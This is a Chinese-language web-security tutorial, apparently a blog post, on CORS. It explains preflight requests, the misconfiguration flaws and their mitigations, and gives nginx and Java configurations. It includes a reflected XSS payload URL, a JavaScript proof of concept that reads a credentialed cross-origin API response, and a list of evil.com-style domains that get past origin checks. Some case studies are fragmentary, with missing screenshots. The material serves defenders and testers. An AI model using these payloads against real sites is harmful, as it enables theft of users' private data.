注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
[TOC]
什么是CORS?为什么要使用CORS机制? 答:CORS是一个W3C标准机制全称是”跨域资源共享”(Cross-origin resource sharing)
那什么是同源? 答:如果看不懂下面英文解释的您可以这样理解,不同协议不同端口不同域名满足其中一个则是不同源的;
Two websites are said to have same origin if both have following in common:
Scheme (http, https)
Host name (google.com, facebook.com, securelayer7.net)
Port number (80, 4567, 7777)
So, sites http://example.com and http://example.com/settings have same origin.
But https://example.com:4657 and http://example.com:8080/settings have different origins
同源策略(same-origin policy)限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。
使用CORS好处:
必要条件:
浏览器对于CORS两大请求处理是不一样的:
以简单请求为例,凡是不同时满足下面面两个条件,就属于非简单请求。
(1) 请求方法是以下三种方法之一:
HEAD
GET
POST
(2) HTTP的请求头信息不超出以下几种字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain
CORS 6个基本字段:
例子:浏览器发现这次跨源AJAX请求是一般请求,就自动在头信息之中添加一个Origin字段。
#Origin字段用来说明本次请求来自哪个源(协议 + 域名 + 端口),服务器根据这个值,决定是否同意这次请求。
GET /cors HTTP/1.1
Origin: http://api.bob.com #判断是否存在CORS安全问题
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0
如果在B站请求A站,浏览器是不允许跨域获取数据的,如果在A站返回的数据加上一个Access-Control-Allow-Origin:* 的HTTP的头这时所有网站都能访问(但是有的浏览器默认会进行过滤))。 但是这并不是我们想要的,只需把 Access-Control-Allow-Origin: api.bob.com 修改成需要给权限的网站即可。
simple request
(1)简单请求直接发送CORS请求重要就是Origin头与返回的Access-Control-Allow-Origin消息头
:
##请求
GET /cors HTTP/1.1
Host: api.alice.com
Origin: http://api.bob.com #本次请求来自哪个源(协议 + 域名 + 端口),服务器根据此值进行判断
Connection: keep-alive
User-Agent: Mozilla/5.0...
##响应
Access-Control-Allow-Origin: http://api.bob.com #请求时Origin字段的值或者是一个*(表示接受任意域名的请求)
Access-Control-Allow-Credentials: true #布尔值,表示是否允许发送Cookie(默认是否的)|浏览器不同则不同(有人说第一次请求都会发生),其次看服务器是否接收;
Access-Control-Expose-Headers: FooBar #CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段,为了能拿到字段就要设置
Content-Type: text/html; charset=utf-8
withCredentials 属性的作用: 描述:CORS请求默认不发送Cookie和HTTP认证信息,如果要把Cookie发到服务器,一方面要服务器同意,另一方面是在编写AJAX请求的时候加上发送cookie的头;
xhr.withCredentials = true; //浏览器不同可能在未设置为true默认会上传cookie
同时Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下Cookie。
not-so-simple request 描述:非简单请求是那种对服务器有特殊要求的请求,比如请求方法是PUT或DELETE或者Content-Type字段的类型是application/json;
比如JAVASCRIPT测试ajax:
var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value'); //自定义头信息
xhr.send();
非简单请求的CORS请求,会在正式通信之前增加一次HTTP查询请求,称为"预检"请求(preflight)
;如果浏览器否定了”预检”请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段,可以采用XMLHttpRequest对象的onerror回调函数捕获
;
# 预检请求
OPTIONS /cors HTTP/1.1 #"预检"请求用的请求方法是OPTIONS,表示这个请求是用来询问的
Origin: http://api.bob.com
Access-Control-Request-Method: PUT #列出浏览器的CORS请求会用到哪些HTTP方法
Access-Control-Request-Headers: X-Custom-Header #逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段
Host: api.alice.com
Connection: keep-alive
User-Agent: Mozilla/5.0...
#预检请求的回应
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com #关键点,该字段也可以设为星号,表示同意任意跨源请求。
Access-Control-Allow-Methods: GET, POST, PUT #关键点,它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。
Access-Control-Allow-Headers: X-Custom-Header #关键点,它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。
Access-Control-Max-Age: 1728000 #关键点,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒)
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
下面是”预检”请求之后浏览器的正常CORS请求,下面头信息中Access-Control-Allow-Origin字段是每次回应都必定包含的。
#浏览器的正常请求和回应
PUT /cors HTTP/1.1
Origin: http://api.bob.com #默认是浏览器自动添加的
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
#服务器正常的回应。
Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8
问:与JSONP的比较?
描述:CORS漏洞( Vulnerability)存在的原因主要在于Access-Control-Allow-Origin参数配置失误未严格验证,允许非同域站点访问本站资源从而造成跨域问题。
问题1:如果Access-Control-Allow-Origin可控且Access-Control-Allow-Credentials为true,那么就可以利用一个可控的网站来窃取一个人的个人隐私信息
问题2:CORS的规范中还提到了“NULL”源,触发这个源是为了网页跳转或者是来自本地HTML文件。 目标应用可能会接收“null”源,并且这个可能被测试者(或者攻击者)利用,任何网站很容易使用沙盒iframe来获取”null“源;
origin:null
1)如何监测CORS漏洞 答:可以采用BurpSuite进行测试CORS的origin返回响应头进行判断
WeiyiGeek.
对于请求页面响应如下则确认存在该漏洞:
Origin: foot.cors.org
WeiyiGeek.
WeiyiGeek.
补充知识点: 1.CORS漏洞与CSRF漏洞的共同点与不同点?
WeiyiGeek.
2.如果服务器配置下面响应头不能证明漏洞存在,因为浏览器会自动拦截掉非认证域的请求。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
描述:CORS漏洞常常与低风险的反射类型的XSS漏洞联合使用(组合拳打法),来增加其鸡肋漏洞的危害性使之变废为宝;
CORS 常见漏洞点:
案例1:
http://127.0.0.1:4567
,受害者即内部网网站的管理员访问攻击者的网站访问后将会触发攻击载荷。
WeiyiGeek.
http://127.0.0.1:80/bwapp/secret-cors-1.php
的脆弱内部网应用程序。进入翻译页面
案例2:CORS 利用过程采用一个案例演示 描述:通过子域名的XSS结合CORS利用
WeiyiGeek.
重点:但是有时候需要注意到referer源 头对CORS的利用影响;
WeiyiGeek.
案例3:利用特殊符号和浏览器的结合去绕过子域名的检查 描述:这个API端点返回用户的私有信息比如全名、电子邮件地址要滥用这种错误配置,以便我们可以执行攻击,比如泄漏用户的私有信息我们需要声明一个废弃的子域(子域接管),或者在现有的子域中找到一个XSS。
这个漏洞的利用条件需要一个XSS或者子域名接管
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
关键点:主要是需要使用了FUZZ去尝试通过特殊字符来绕过验证了您的origin来源的网站,也就是说我们可以通过访问*.target.com.特殊字符.youdomain.com来绕过正则
#特殊字符
,
&
'
"
;
!
$
^
*
(
)
+
=
`
~
-
_
=
|
{
}
%
#最终如下域名可以绕过
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
用safari访问一下看支不支持之后注册这个子域名然后就可以利用了 https://zzzz.ubnt.com=.evil.com/cors-poc
1)不要配置“Access-Control-Allow-Origin”为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的“Origin”的值。 当收到跨域请求的时候,要检查“Origin”的值是否是一个可信的源,还要检查是否为null 2)避免使用“Access-Control-Allow-Credentials: true” 3)减少Access-Control-Allow-Methods所允许的方法
问:怎么才能允许多域名跨域访问呢? 由于origin-list-or-null在产品实际中多用来做限制,不是一个空格分隔的origin的列表,而只能是单个origin或字符串”null”。
WeiyiGeek.
解决办法1 结合CORS on Nginx写成Nginx配置片段enable-cors.conf,使用的时候,只需如下这样:
location / {
... other config ...
include enable-cors.conf;
}
完整的enable-cors.conf配置片段如下:(能解决很大一部分企业安全问题哟)
#
# Wide-open CORS config for nginx
#
# allow origin list
set $ACAO 'http://www.test.com http://user.test.com';
# set single origin
if ($http_origin ~* ^https?://(www|user)\.test\.com$) {
set $ACAO $http_origin;
}
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' '$ACAO';
#
# Om nom nom cookies
#
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
#
# Custom headers and headers various browsers *should* be OK with but aren't
#
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
#
# Tell client that this pre-flight info is valid for 20 days
#
add_header 'Access-Control-Max-Age' 1728000;
add_header 'Content-Type' 'text/plain charset=UTF-8';
add_header 'Content-Length' 0;
return 204;
}
if ($request_method = 'POST') {
add_header 'Access-Control-Allow-Origin' '$ACAO';
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
}
if ($request_method = 'GET') {
add_header 'Access-Control-Allow-Origin' '$ACAO';
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
}
解决办法2: 设置多个可跨域域名数组通过request的getHeader(“Origin”)获取origin 请求域名属于可跨域域名数组,将所取的orgin值设给Access-Control-Allow-Origin;
//跨域域名设置
public static final String[] ALLOW_DOMAIN = { "http://localhost:8000","http://192.168.0.100" };
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse res = (HttpServletResponse) response;
String originHeader = req.getHeader("Origin");
if (Arrays.asList(Constants.ALLOW_DOMAIN).contains(originHeader))
{
res.setHeader("Access-Control-Allow-Origin", originHeader);
res.setHeader("Allow", "*");
res.setHeader("Access-Control-Allow-Methods", "POST, GET, PUT, DELETE, OPTIONS");
res.setHeader("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept, Referer, User-Agent, Authorization, X-Auth-Token");
res.setHeader("Access-Control-Max-Age", "3600");
// 接收跨域的cookie
res.setHeader("Access-Control-Allow-Credentials", "true");
if ("IE".equals(req.getParameter("type")))
{
((HttpServletResponse) response).setHeader( "XDomainRequestAllowed", "1");
}
if (req.getMethod().toLowerCase().equals("options"))
{
res.setHeader("Content-type", "text/html");
res.getWriter().write("options OK");
return;
}
}
总结
附录
CrossSiteContentHijacking
验证WeiyiGeek.